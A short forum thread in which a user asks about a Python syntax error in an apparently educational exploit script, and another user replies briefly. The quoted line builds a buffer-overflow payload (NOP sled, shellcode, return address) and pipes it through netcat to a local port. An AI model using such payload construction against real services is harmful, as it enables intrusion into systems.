Mar 30, 2017 #1 J JC724 Weaksauce Joined Jan 20, 2016 Messages 118 not sure why I keep getting this error File "./level8Testscript2", line 23 os.system('echo \"' + '\x90'*(buffer/2 - len(shellCode)/2)+shellCode+'\x90'*(buffer/2 - len(shellCode)/2)+eip '\" | nc localhost ' + port) ^ SyntaxError: invalid syntax
not sure why I keep getting this error File "./level8Testscript2", line 23 os.system('echo \"' + '\x90'*(buffer/2 - len(shellCode)/2)+shellCode+'\x90'*(buffer/2 - len(shellCode)/2)+eip '\" | nc localhost ' + port) ^ SyntaxError: invalid syntax
Apr 2, 2017 #2 G GaryJohnson [H]ard|Gawd Joined Feb 1, 2010 Messages 1,053 Due to the way invalid syntax errors work the problem may not actually be on that line, but instead on a line somewhere around it.
Due to the way invalid syntax errors work the problem may not actually be on that line, but instead on a line somewhere around it.